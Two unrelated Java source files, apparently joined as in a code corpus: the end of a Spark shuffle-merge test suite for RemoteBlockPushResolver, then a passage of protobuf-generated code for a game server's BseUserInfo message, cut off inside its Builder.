// After 4 IOException, the server will respond with IOExceptions exceeded threshold for any
// new request for this partition.
try {
RemoteBlockPushResolver.PushBlockStreamCallback callback2 =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 5, 0, 0));
callback2.onData(callback2.getID(), ByteBuffer.wrap(new byte[4]));
callback2.onComplete(callback2.getID());
} catch (Throwable t) {
assertEquals("IOExceptions exceeded the threshold when merging shufflePush_0_5_0",
t.getMessage());
throw t;
}
}
@Test (expected = RuntimeException.class)
public void testRequestForAbortedShufflePartitionThrowsException() {
try {
testIOExceptionsDuringMetaUpdateIncreasesExceptionCount();
} catch (Throwable t) {
// No more blocks can be merged to this partition.
}
try {
pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 10, 0, 0));
} catch (Throwable t) {
assertEquals("IOExceptions exceeded the threshold when merging shufflePush_0_10_0",
t.getMessage());
throw t;
}
}
@Test (expected = RuntimeException.class)
public void testPendingBlockIsAbortedImmediately() throws IOException {
useTestFiles(true, false);
RemoteBlockPushResolver.PushBlockStreamCallback callback =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 0, 0, 0));
RemoteBlockPushResolver.AppShufflePartitionInfo partitionInfo = callback.getPartitionInfo();
TestMergeShuffleFile testIndexFile = (TestMergeShuffleFile) partitionInfo.getIndexFile();
testIndexFile.close();
for (int i = 1; i < 6; i++) {
RemoteBlockPushResolver.PushBlockStreamCallback callback1 =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, i, 0, 0));
try {
callback1.onData(callback1.getID(), ByteBuffer.wrap(new byte[5]));
// This will complete without any exceptions but the exception count is increased.
callback1.onComplete(callback1.getID());
} catch (Throwable t) {
callback1.onFailure(callback1.getID(), t);
}
}
assertEquals(5, partitionInfo.getNumIOExceptions());
// The server will respond with IOExceptions exceeded threshold for any additional attempts
// to write.
try {
callback.onData(callback.getID(), ByteBuffer.wrap(new byte[4]));
} catch (Throwable t) {
assertEquals("IOExceptions exceeded the threshold when merging shufflePush_0_0_0",
t.getMessage());
throw t;
}
}
@Test (expected = RuntimeException.class)
public void testWritingPendingBufsIsAbortedImmediatelyDuringComplete() throws IOException {
useTestFiles(true, false);
RemoteBlockPushResolver.PushBlockStreamCallback callback =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 0, 0, 0));
RemoteBlockPushResolver.AppShufflePartitionInfo partitionInfo = callback.getPartitionInfo();
TestMergeShuffleFile testIndexFile = (TestMergeShuffleFile) partitionInfo.getIndexFile();
testIndexFile.close();
for (int i = 1; i < 5; i++) {
RemoteBlockPushResolver.PushBlockStreamCallback callback1 =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, i, 0, 0));
try {
callback1.onData(callback1.getID(), ByteBuffer.wrap(new byte[5]));
// This will complete without any exceptions but the exception count is increased.
callback1.onComplete(callback1.getID());
} catch (Throwable t) {
callback1.onFailure(callback1.getID(), t);
}
}
assertEquals(4, partitionInfo.getNumIOExceptions());
RemoteBlockPushResolver.PushBlockStreamCallback callback2 =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 5, 0, 0));
callback2.onData(callback2.getID(), ByteBuffer.wrap(new byte[5]));
// This is deferred
callback.onData(callback.getID(), ByteBuffer.wrap(new byte[4]));
// Callback2 completes which will throw another exception.
try {
callback2.onComplete(callback2.getID());
} catch (Throwable t) {
callback2.onFailure(callback2.getID(), t);
}
assertEquals(5, partitionInfo.getNumIOExceptions());
// Restore index file so that any further writes to it are successful and any exceptions are
// due to IOExceptions exceeding threshold.
testIndexFile.restore();
try {
callback.onComplete(callback.getID());
} catch (Throwable t) {
assertEquals("IOExceptions exceeded the threshold when merging shufflePush_0_0_0",
t.getMessage());
throw t;
}
}
@Test
public void testFailureWhileTruncatingFiles() throws IOException {
useTestFiles(true, false);
PushBlock[] pushBlocks = new PushBlock[] {
new PushBlock(0, 0, 0, ByteBuffer.wrap(new byte[2])),
new PushBlock(0, 1, 0, ByteBuffer.wrap(new byte[3])),
new PushBlock(0, 0, 1, ByteBuffer.wrap(new byte[5])),
new PushBlock(0, 1, 1, ByteBuffer.wrap(new byte[3]))
};
pushBlockHelper(TEST_APP, pushBlocks);
RemoteBlockPushResolver.PushBlockStreamCallback callback =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 2, 0, 0));
callback.onData(callback.getID(), ByteBuffer.wrap(new byte[2]));
callback.onComplete(callback.getID());
RemoteBlockPushResolver.AppShufflePartitionInfo partitionInfo = callback.getPartitionInfo();
TestMergeShuffleFile testIndexFile = (TestMergeShuffleFile) partitionInfo.getIndexFile();
// Close the index file so truncate throws IOException
testIndexFile.close();
MergeStatuses statuses = pushResolver.finalizeShuffleMerge(
new FinalizeShuffleMerge(TEST_APP, 0));
validateMergeStatuses(statuses, new int[] {1}, new long[] {8});
MergedBlockMeta meta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 1);
validateChunks(TEST_APP, 0, 1, meta, new int[]{5, 3}, new int[][]{{0},{1}});
}
private void useTestFiles(boolean useTestIndexFile, boolean useTestMetaFile) throws IOException {
pushResolver = new RemoteBlockPushResolver(conf) {
@Override
AppShufflePartitionInfo newAppShufflePartitionInfo(AppShuffleId appShuffleId, int reduceId,
File dataFile, File indexFile, File metaFile) throws IOException {
MergeShuffleFile mergedIndexFile = useTestIndexFile ? new TestMergeShuffleFile(indexFile)
: new MergeShuffleFile(indexFile);
MergeShuffleFile mergedMetaFile = useTestMetaFile ? new TestMergeShuffleFile(metaFile) :
new MergeShuffleFile(metaFile);
return new AppShufflePartitionInfo(appShuffleId, reduceId, dataFile, mergedIndexFile,
mergedMetaFile);
}
};
registerExecutor(TEST_APP, prepareLocalDirs(localDirs));
}
private Path[] createLocalDirs(int numLocalDirs) throws IOException {
Path[] localDirs = new Path[numLocalDirs];
for (int i = 0; i < localDirs.length; i++) {
localDirs[i] = Files.createTempDirectory("shuffleMerge");
localDirs[i].toFile().deleteOnExit();
}
return localDirs;
}
private void registerExecutor(String appId, String[] localDirs) throws IOException {
ExecutorShuffleInfo shuffleInfo = new ExecutorShuffleInfo(localDirs, 1, "mergedShuffle");
pushResolver.registerExecutor(appId, shuffleInfo);
}
private String[] prepareLocalDirs(Path[] localDirs) throws IOException {
String[] blockMgrDirs = new String[localDirs.length];
for (int i = 0; i< localDirs.length; i++) {
Files.createDirectories(localDirs[i].resolve(
RemoteBlockPushResolver.MERGE_MANAGER_DIR + File.separator + "00"));
blockMgrDirs[i] = localDirs[i].toFile().getPath() + File.separator + BLOCK_MANAGER_DIR;
}
return blockMgrDirs;
}
private void removeApplication(String appId) {
// PushResolver cleans up the local dirs in a different thread which can conflict with the test
// data of other tests, since they are using the same Application Id.
pushResolver.applicationRemoved(appId, false);
}
private void validateMergeStatuses(
MergeStatuses mergeStatuses,
int[] expectedReduceIds,
long[] expectedSizes) {
assertArrayEquals(expectedReduceIds, mergeStatuses.reduceIds);
assertArrayEquals(expectedSizes, mergeStatuses.sizes);
}
private void validateChunks(
String appId,
int shuffleId,
int reduceId,
MergedBlockMeta meta,
int[] expectedSizes,
int[][] expectedMapsPerChunk) throws IOException {
assertEquals("num chunks", expectedSizes.length, meta.getNumChunks());
RoaringBitmap[] bitmaps = meta.readChunkBitmaps();
assertEquals("num of bitmaps", meta.getNumChunks(), bitmaps.length);
for (int i = 0; i < meta.getNumChunks(); i++) {
RoaringBitmap chunkBitmap = bitmaps[i];
Arrays.stream(expectedMapsPerChunk[i]).forEach(x -> assertTrue(chunkBitmap.contains(x)));
}
for (int i = 0; i < meta.getNumChunks(); i++) {
FileSegmentManagedBuffer mb =
(FileSegmentManagedBuffer) pushResolver.getMergedBlockData(appId, shuffleId, reduceId, i);
assertEquals(expectedSizes[i], mb.getLength());
}
}
private void pushBlockHelper(
String appId,
PushBlock[] blocks) throws IOException {
for (int i = 0; i < blocks.length; i++) {
StreamCallbackWithID stream = pushResolver.receiveBlockDataAsStream(
new PushBlockStream(appId, blocks[i].shuffleId, blocks[i].mapIndex, blocks[i].reduceId, 0));
stream.onData(stream.getID(), blocks[i].buffer);
stream.onComplete(stream.getID());
}
}
private static class PushBlock {
private final int shuffleId;
private final int mapIndex;
private final int reduceId;
private final ByteBuffer buffer;
PushBlock(int shuffleId, int mapIndex, int reduceId, ByteBuffer buffer) {
this.shuffleId = shuffleId;
this.mapIndex = mapIndex;
this.reduceId = reduceId;
this.buffer = buffer;
}
}
private static class TestMergeShuffleFile extends MergeShuffleFile {
private DataOutputStream activeDos;
private File file;
private FileChannel channel;
private TestMergeShuffleFile(File file) throws IOException {
super(null, null);
this.file = file;
FileOutputStream fos = new FileOutputStream(file);
channel = fos.getChannel();
activeDos = new DataOutputStream(fos);
}
@Override
DataOutputStream getDos() {
return activeDos;
}
@Override
FileChannel getChannel() {
return channel;
}
@Override
void close() throws IOException {
activeDos.close();
}
void restore() throws IOException {
FileOutputStream fos = new FileOutputStream(file, true);
channel = fos.getChannel();
activeDos = new DataOutputStream(fos);
}
}
}
| |
// Generated by the protocol buffer compiler. DO NOT EDIT!
// source: UserInfo.proto
package com.xinqihd.sns.gameserver.proto;
public final class XinqiBseUserInfo {
private XinqiBseUserInfo() {}
public static void registerAllExtensions(
com.google.protobuf.ExtensionRegistry registry) {
}
public interface BseUserInfoOrBuilder
extends com.google.protobuf.MessageOrBuilder {
// required string roleName = 1;
boolean hasRoleName();
String getRoleName();
// required int32 gender = 2;
boolean hasGender();
int getGender();
// required bool hideHat = 3;
boolean hasHideHat();
boolean getHideHat();
// required bool hideGlasses = 4;
boolean hasHideGlasses();
boolean getHideGlasses();
// required bool hideSuit = 5;
boolean hasHideSuit();
boolean getHideSuit();
// required int32 guidestep = 6;
boolean hasGuidestep();
int getGuidestep();
// required bool musicSwitch = 7;
boolean hasMusicSwitch();
boolean getMusicSwitch();
// required bool effectSwitch = 8;
boolean hasEffectSwitch();
boolean getEffectSwitch();
// required int32 musicVolume = 9;
boolean hasMusicVolume();
int getMusicVolume();
// required int32 effectVolume = 10;
boolean hasEffectVolume();
int getEffectVolume();
// required bool loginLottery = 11 [default = false];
boolean hasLoginLottery();
boolean getLoginLottery();
// optional string url = 12 [default = ""];
boolean hasUrl();
String getUrl();
// optional int32 continuLoginTimes = 13;
boolean hasContinuLoginTimes();
int getContinuLoginTimes();
// optional int32 remainLotteryTimes = 14;
boolean hasRemainLotteryTimes();
int getRemainLotteryTimes();
// optional bool isyellowDiamond = 15 [default = false];
boolean hasIsyellowDiamond();
boolean getIsyellowDiamond();
// optional bool isyellowDiamondYear = 16 [default = false];
boolean hasIsyellowDiamondYear();
boolean getIsyellowDiamondYear();
// optional int32 yellowDiamondLevel = 17 [default = 0];
boolean hasYellowDiamondLevel();
int getYellowDiamondLevel();
// optional int32 today_water_times = 18 [default = 0];
boolean hasTodayWaterTimes();
int getTodayWaterTimes();
// optional bool can_harvest_tree = 19 [default = false];
boolean hasCanHarvestTree();
boolean getCanHarvestTree();
// repeated int32 buyitemcount = 20;
java.util.List<java.lang.Integer> getBuyitemcountList();
int getBuyitemcountCount();
int getBuyitemcount(int index);
}
public static final class BseUserInfo extends
com.google.protobuf.GeneratedMessage
implements BseUserInfoOrBuilder {
// Use BseUserInfo.newBuilder() to construct.
private BseUserInfo(Builder builder) {
super(builder);
}
private BseUserInfo(boolean noInit) {}
private static final BseUserInfo defaultInstance;
public static BseUserInfo getDefaultInstance() {
return defaultInstance;
}
public BseUserInfo getDefaultInstanceForType() {
return defaultInstance;
}
public static final com.google.protobuf.Descriptors.Descriptor
getDescriptor() {
return com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.internal_static_com_xinqihd_sns_gameserver_proto_BseUserInfo_descriptor;
}
protected com.google.protobuf.GeneratedMessage.FieldAccessorTable
internalGetFieldAccessorTable() {
return com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.internal_static_com_xinqihd_sns_gameserver_proto_BseUserInfo_fieldAccessorTable;
}
private int bitField0_;
// required string roleName = 1;
public static final int ROLENAME_FIELD_NUMBER = 1;
private java.lang.Object roleName_;
public boolean hasRoleName() {
return ((bitField0_ & 0x00000001) == 0x00000001);
}
public String getRoleName() {
java.lang.Object ref = roleName_;
if (ref instanceof String) {
return (String) ref;
} else {
com.google.protobuf.ByteString bs =
(com.google.protobuf.ByteString) ref;
String s = bs.toStringUtf8();
if (com.google.protobuf.Internal.isValidUtf8(bs)) {
roleName_ = s;
}
return s;
}
}
private com.google.protobuf.ByteString getRoleNameBytes() {
java.lang.Object ref = roleName_;
if (ref instanceof String) {
com.google.protobuf.ByteString b =
com.google.protobuf.ByteString.copyFromUtf8((String) ref);
roleName_ = b;
return b;
} else {
return (com.google.protobuf.ByteString) ref;
}
}
// required int32 gender = 2;
public static final int GENDER_FIELD_NUMBER = 2;
private int gender_;
public boolean hasGender() {
return ((bitField0_ & 0x00000002) == 0x00000002);
}
public int getGender() {
return gender_;
}
// required bool hideHat = 3;
public static final int HIDEHAT_FIELD_NUMBER = 3;
private boolean hideHat_;
public boolean hasHideHat() {
return ((bitField0_ & 0x00000004) == 0x00000004);
}
public boolean getHideHat() {
return hideHat_;
}
// required bool hideGlasses = 4;
public static final int HIDEGLASSES_FIELD_NUMBER = 4;
private boolean hideGlasses_;
public boolean hasHideGlasses() {
return ((bitField0_ & 0x00000008) == 0x00000008);
}
public boolean getHideGlasses() {
return hideGlasses_;
}
// required bool hideSuit = 5;
public static final int HIDESUIT_FIELD_NUMBER = 5;
private boolean hideSuit_;
public boolean hasHideSuit() {
return ((bitField0_ & 0x00000010) == 0x00000010);
}
public boolean getHideSuit() {
return hideSuit_;
}
// required int32 guidestep = 6;
public static final int GUIDESTEP_FIELD_NUMBER = 6;
private int guidestep_;
public boolean hasGuidestep() {
return ((bitField0_ & 0x00000020) == 0x00000020);
}
public int getGuidestep() {
return guidestep_;
}
// required bool musicSwitch = 7;
public static final int MUSICSWITCH_FIELD_NUMBER = 7;
private boolean musicSwitch_;
public boolean hasMusicSwitch() {
return ((bitField0_ & 0x00000040) == 0x00000040);
}
public boolean getMusicSwitch() {
return musicSwitch_;
}
// required bool effectSwitch = 8;
public static final int EFFECTSWITCH_FIELD_NUMBER = 8;
private boolean effectSwitch_;
public boolean hasEffectSwitch() {
return ((bitField0_ & 0x00000080) == 0x00000080);
}
public boolean getEffectSwitch() {
return effectSwitch_;
}
// required int32 musicVolume = 9;
public static final int MUSICVOLUME_FIELD_NUMBER = 9;
private int musicVolume_;
public boolean hasMusicVolume() {
return ((bitField0_ & 0x00000100) == 0x00000100);
}
public int getMusicVolume() {
return musicVolume_;
}
// required int32 effectVolume = 10;
public static final int EFFECTVOLUME_FIELD_NUMBER = 10;
private int effectVolume_;
public boolean hasEffectVolume() {
return ((bitField0_ & 0x00000200) == 0x00000200);
}
public int getEffectVolume() {
return effectVolume_;
}
// required bool loginLottery = 11 [default = false];
public static final int LOGINLOTTERY_FIELD_NUMBER = 11;
private boolean loginLottery_;
public boolean hasLoginLottery() {
return ((bitField0_ & 0x00000400) == 0x00000400);
}
public boolean getLoginLottery() {
return loginLottery_;
}
// optional string url = 12 [default = ""];
public static final int URL_FIELD_NUMBER = 12;
private java.lang.Object url_;
public boolean hasUrl() {
return ((bitField0_ & 0x00000800) == 0x00000800);
}
public String getUrl() {
java.lang.Object ref = url_;
if (ref instanceof String) {
return (String) ref;
} else {
com.google.protobuf.ByteString bs =
(com.google.protobuf.ByteString) ref;
String s = bs.toStringUtf8();
if (com.google.protobuf.Internal.isValidUtf8(bs)) {
url_ = s;
}
return s;
}
}
private com.google.protobuf.ByteString getUrlBytes() {
java.lang.Object ref = url_;
if (ref instanceof String) {
com.google.protobuf.ByteString b =
com.google.protobuf.ByteString.copyFromUtf8((String) ref);
url_ = b;
return b;
} else {
return (com.google.protobuf.ByteString) ref;
}
}
// optional int32 continuLoginTimes = 13;
public static final int CONTINULOGINTIMES_FIELD_NUMBER = 13;
private int continuLoginTimes_;
public boolean hasContinuLoginTimes() {
return ((bitField0_ & 0x00001000) == 0x00001000);
}
public int getContinuLoginTimes() {
return continuLoginTimes_;
}
// optional int32 remainLotteryTimes = 14;
public static final int REMAINLOTTERYTIMES_FIELD_NUMBER = 14;
private int remainLotteryTimes_;
public boolean hasRemainLotteryTimes() {
return ((bitField0_ & 0x00002000) == 0x00002000);
}
public int getRemainLotteryTimes() {
return remainLotteryTimes_;
}
// optional bool isyellowDiamond = 15 [default = false];
public static final int ISYELLOWDIAMOND_FIELD_NUMBER = 15;
private boolean isyellowDiamond_;
public boolean hasIsyellowDiamond() {
return ((bitField0_ & 0x00004000) == 0x00004000);
}
public boolean getIsyellowDiamond() {
return isyellowDiamond_;
}
// optional bool isyellowDiamondYear = 16 [default = false];
public static final int ISYELLOWDIAMONDYEAR_FIELD_NUMBER = 16;
private boolean isyellowDiamondYear_;
public boolean hasIsyellowDiamondYear() {
return ((bitField0_ & 0x00008000) == 0x00008000);
}
public boolean getIsyellowDiamondYear() {
return isyellowDiamondYear_;
}
// optional int32 yellowDiamondLevel = 17 [default = 0];
public static final int YELLOWDIAMONDLEVEL_FIELD_NUMBER = 17;
private int yellowDiamondLevel_;
public boolean hasYellowDiamondLevel() {
return ((bitField0_ & 0x00010000) == 0x00010000);
}
public int getYellowDiamondLevel() {
return yellowDiamondLevel_;
}
// optional int32 today_water_times = 18 [default = 0];
public static final int TODAY_WATER_TIMES_FIELD_NUMBER = 18;
private int todayWaterTimes_;
public boolean hasTodayWaterTimes() {
return ((bitField0_ & 0x00020000) == 0x00020000);
}
public int getTodayWaterTimes() {
return todayWaterTimes_;
}
// optional bool can_harvest_tree = 19 [default = false];
public static final int CAN_HARVEST_TREE_FIELD_NUMBER = 19;
private boolean canHarvestTree_;
public boolean hasCanHarvestTree() {
return ((bitField0_ & 0x00040000) == 0x00040000);
}
public boolean getCanHarvestTree() {
return canHarvestTree_;
}
// repeated int32 buyitemcount = 20;
public static final int BUYITEMCOUNT_FIELD_NUMBER = 20;
private java.util.List<java.lang.Integer> buyitemcount_;
public java.util.List<java.lang.Integer>
getBuyitemcountList() {
return buyitemcount_;
}
public int getBuyitemcountCount() {
return buyitemcount_.size();
}
public int getBuyitemcount(int index) {
return buyitemcount_.get(index);
}
private void initFields() {
roleName_ = "";
gender_ = 0;
hideHat_ = false;
hideGlasses_ = false;
hideSuit_ = false;
guidestep_ = 0;
musicSwitch_ = false;
effectSwitch_ = false;
musicVolume_ = 0;
effectVolume_ = 0;
loginLottery_ = false;
url_ = "";
continuLoginTimes_ = 0;
remainLotteryTimes_ = 0;
isyellowDiamond_ = false;
isyellowDiamondYear_ = false;
yellowDiamondLevel_ = 0;
todayWaterTimes_ = 0;
canHarvestTree_ = false;
buyitemcount_ = java.util.Collections.emptyList();;
}
private byte memoizedIsInitialized = -1;
public final boolean isInitialized() {
byte isInitialized = memoizedIsInitialized;
if (isInitialized != -1) return isInitialized == 1;
if (!hasRoleName()) {
memoizedIsInitialized = 0;
return false;
}
if (!hasGender()) {
memoizedIsInitialized = 0;
return false;
}
if (!hasHideHat()) {
memoizedIsInitialized = 0;
return false;
}
if (!hasHideGlasses()) {
memoizedIsInitialized = 0;
return false;
}
if (!hasHideSuit()) {
memoizedIsInitialized = 0;
return false;
}
if (!hasGuidestep()) {
memoizedIsInitialized = 0;
return false;
}
if (!hasMusicSwitch()) {
memoizedIsInitialized = 0;
return false;
}
if (!hasEffectSwitch()) {
memoizedIsInitialized = 0;
return false;
}
if (!hasMusicVolume()) {
memoizedIsInitialized = 0;
return false;
}
if (!hasEffectVolume()) {
memoizedIsInitialized = 0;
return false;
}
if (!hasLoginLottery()) {
memoizedIsInitialized = 0;
return false;
}
memoizedIsInitialized = 1;
return true;
}
public void writeTo(com.google.protobuf.CodedOutputStream output)
throws java.io.IOException {
getSerializedSize();
if (((bitField0_ & 0x00000001) == 0x00000001)) {
output.writeBytes(1, getRoleNameBytes());
}
if (((bitField0_ & 0x00000002) == 0x00000002)) {
output.writeInt32(2, gender_);
}
if (((bitField0_ & 0x00000004) == 0x00000004)) {
output.writeBool(3, hideHat_);
}
if (((bitField0_ & 0x00000008) == 0x00000008)) {
output.writeBool(4, hideGlasses_);
}
if (((bitField0_ & 0x00000010) == 0x00000010)) {
output.writeBool(5, hideSuit_);
}
if (((bitField0_ & 0x00000020) == 0x00000020)) {
output.writeInt32(6, guidestep_);
}
if (((bitField0_ & 0x00000040) == 0x00000040)) {
output.writeBool(7, musicSwitch_);
}
if (((bitField0_ & 0x00000080) == 0x00000080)) {
output.writeBool(8, effectSwitch_);
}
if (((bitField0_ & 0x00000100) == 0x00000100)) {
output.writeInt32(9, musicVolume_);
}
if (((bitField0_ & 0x00000200) == 0x00000200)) {
output.writeInt32(10, effectVolume_);
}
if (((bitField0_ & 0x00000400) == 0x00000400)) {
output.writeBool(11, loginLottery_);
}
if (((bitField0_ & 0x00000800) == 0x00000800)) {
output.writeBytes(12, getUrlBytes());
}
if (((bitField0_ & 0x00001000) == 0x00001000)) {
output.writeInt32(13, continuLoginTimes_);
}
if (((bitField0_ & 0x00002000) == 0x00002000)) {
output.writeInt32(14, remainLotteryTimes_);
}
if (((bitField0_ & 0x00004000) == 0x00004000)) {
output.writeBool(15, isyellowDiamond_);
}
if (((bitField0_ & 0x00008000) == 0x00008000)) {
output.writeBool(16, isyellowDiamondYear_);
}
if (((bitField0_ & 0x00010000) == 0x00010000)) {
output.writeInt32(17, yellowDiamondLevel_);
}
if (((bitField0_ & 0x00020000) == 0x00020000)) {
output.writeInt32(18, todayWaterTimes_);
}
if (((bitField0_ & 0x00040000) == 0x00040000)) {
output.writeBool(19, canHarvestTree_);
}
for (int i = 0; i < buyitemcount_.size(); i++) {
output.writeInt32(20, buyitemcount_.get(i));
}
getUnknownFields().writeTo(output);
}
private int memoizedSerializedSize = -1;
public int getSerializedSize() {
int size = memoizedSerializedSize;
if (size != -1) return size;
size = 0;
if (((bitField0_ & 0x00000001) == 0x00000001)) {
size += com.google.protobuf.CodedOutputStream
.computeBytesSize(1, getRoleNameBytes());
}
if (((bitField0_ & 0x00000002) == 0x00000002)) {
size += com.google.protobuf.CodedOutputStream
.computeInt32Size(2, gender_);
}
if (((bitField0_ & 0x00000004) == 0x00000004)) {
size += com.google.protobuf.CodedOutputStream
.computeBoolSize(3, hideHat_);
}
if (((bitField0_ & 0x00000008) == 0x00000008)) {
size += com.google.protobuf.CodedOutputStream
.computeBoolSize(4, hideGlasses_);
}
if (((bitField0_ & 0x00000010) == 0x00000010)) {
size += com.google.protobuf.CodedOutputStream
.computeBoolSize(5, hideSuit_);
}
if (((bitField0_ & 0x00000020) == 0x00000020)) {
size += com.google.protobuf.CodedOutputStream
.computeInt32Size(6, guidestep_);
}
if (((bitField0_ & 0x00000040) == 0x00000040)) {
size += com.google.protobuf.CodedOutputStream
.computeBoolSize(7, musicSwitch_);
}
if (((bitField0_ & 0x00000080) == 0x00000080)) {
size += com.google.protobuf.CodedOutputStream
.computeBoolSize(8, effectSwitch_);
}
if (((bitField0_ & 0x00000100) == 0x00000100)) {
size += com.google.protobuf.CodedOutputStream
.computeInt32Size(9, musicVolume_);
}
if (((bitField0_ & 0x00000200) == 0x00000200)) {
size += com.google.protobuf.CodedOutputStream
.computeInt32Size(10, effectVolume_);
}
if (((bitField0_ & 0x00000400) == 0x00000400)) {
size += com.google.protobuf.CodedOutputStream
.computeBoolSize(11, loginLottery_);
}
if (((bitField0_ & 0x00000800) == 0x00000800)) {
size += com.google.protobuf.CodedOutputStream
.computeBytesSize(12, getUrlBytes());
}
if (((bitField0_ & 0x00001000) == 0x00001000)) {
size += com.google.protobuf.CodedOutputStream
.computeInt32Size(13, continuLoginTimes_);
}
if (((bitField0_ & 0x00002000) == 0x00002000)) {
size += com.google.protobuf.CodedOutputStream
.computeInt32Size(14, remainLotteryTimes_);
}
if (((bitField0_ & 0x00004000) == 0x00004000)) {
size += com.google.protobuf.CodedOutputStream
.computeBoolSize(15, isyellowDiamond_);
}
if (((bitField0_ & 0x00008000) == 0x00008000)) {
size += com.google.protobuf.CodedOutputStream
.computeBoolSize(16, isyellowDiamondYear_);
}
if (((bitField0_ & 0x00010000) == 0x00010000)) {
size += com.google.protobuf.CodedOutputStream
.computeInt32Size(17, yellowDiamondLevel_);
}
if (((bitField0_ & 0x00020000) == 0x00020000)) {
size += com.google.protobuf.CodedOutputStream
.computeInt32Size(18, todayWaterTimes_);
}
if (((bitField0_ & 0x00040000) == 0x00040000)) {
size += com.google.protobuf.CodedOutputStream
.computeBoolSize(19, canHarvestTree_);
}
{
int dataSize = 0;
for (int i = 0; i < buyitemcount_.size(); i++) {
dataSize += com.google.protobuf.CodedOutputStream
.computeInt32SizeNoTag(buyitemcount_.get(i));
}
size += dataSize;
size += 2 * getBuyitemcountList().size();
}
size += getUnknownFields().getSerializedSize();
memoizedSerializedSize = size;
return size;
}
private static final long serialVersionUID = 0L;
@java.lang.Override
protected java.lang.Object writeReplace()
throws java.io.ObjectStreamException {
return super.writeReplace();
}
public static com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo parseFrom(
com.google.protobuf.ByteString data)
throws com.google.protobuf.InvalidProtocolBufferException {
return newBuilder().mergeFrom(data).buildParsed();
}
public static com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo parseFrom(
com.google.protobuf.ByteString data,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return newBuilder().mergeFrom(data, extensionRegistry)
.buildParsed();
}
public static com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo parseFrom(byte[] data)
throws com.google.protobuf.InvalidProtocolBufferException {
return newBuilder().mergeFrom(data).buildParsed();
}
public static com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo parseFrom(
byte[] data,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return newBuilder().mergeFrom(data, extensionRegistry)
.buildParsed();
}
public static com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo parseFrom(java.io.InputStream input)
throws java.io.IOException {
return newBuilder().mergeFrom(input).buildParsed();
}
public static com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo parseFrom(
java.io.InputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
return newBuilder().mergeFrom(input, extensionRegistry)
.buildParsed();
}
public static com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo parseDelimitedFrom(java.io.InputStream input)
throws java.io.IOException {
Builder builder = newBuilder();
if (builder.mergeDelimitedFrom(input)) {
return builder.buildParsed();
} else {
return null;
}
}
public static com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo parseDelimitedFrom(
java.io.InputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
Builder builder = newBuilder();
if (builder.mergeDelimitedFrom(input, extensionRegistry)) {
return builder.buildParsed();
} else {
return null;
}
}
public static com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo parseFrom(
com.google.protobuf.CodedInputStream input)
throws java.io.IOException {
return newBuilder().mergeFrom(input).buildParsed();
}
public static com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo parseFrom(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
return newBuilder().mergeFrom(input, extensionRegistry)
.buildParsed();
}
public static Builder newBuilder() { return Builder.create(); }
public Builder newBuilderForType() { return newBuilder(); }
public static Builder newBuilder(com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo prototype) {
return newBuilder().mergeFrom(prototype);
}
public Builder toBuilder() { return newBuilder(this); }
@java.lang.Override
protected Builder newBuilderForType(
com.google.protobuf.GeneratedMessage.BuilderParent parent) {
Builder builder = new Builder(parent);
return builder;
}
public static final class Builder extends
com.google.protobuf.GeneratedMessage.Builder<Builder>
implements com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfoOrBuilder {
public static final com.google.protobuf.Descriptors.Descriptor
getDescriptor() {
return com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.internal_static_com_xinqihd_sns_gameserver_proto_BseUserInfo_descriptor;
}
protected com.google.protobuf.GeneratedMessage.FieldAccessorTable
internalGetFieldAccessorTable() {
return com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.internal_static_com_xinqihd_sns_gameserver_proto_BseUserInfo_fieldAccessorTable;
}
// Construct using com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo.newBuilder()
private Builder() {
maybeForceBuilderInitialization();
}
private Builder(BuilderParent parent) {
super(parent);
maybeForceBuilderInitialization();
}
private void maybeForceBuilderInitialization() {
if (com.google.protobuf.GeneratedMessage.alwaysUseFieldBuilders) {
}
}
private static Builder create() {
return new Builder();
}
public Builder clear() {
super.clear();
roleName_ = "";
bitField0_ = (bitField0_ & ~0x00000001);
gender_ = 0;
bitField0_ = (bitField0_ & ~0x00000002);
hideHat_ = false;
bitField0_ = (bitField0_ & ~0x00000004);
hideGlasses_ = false;
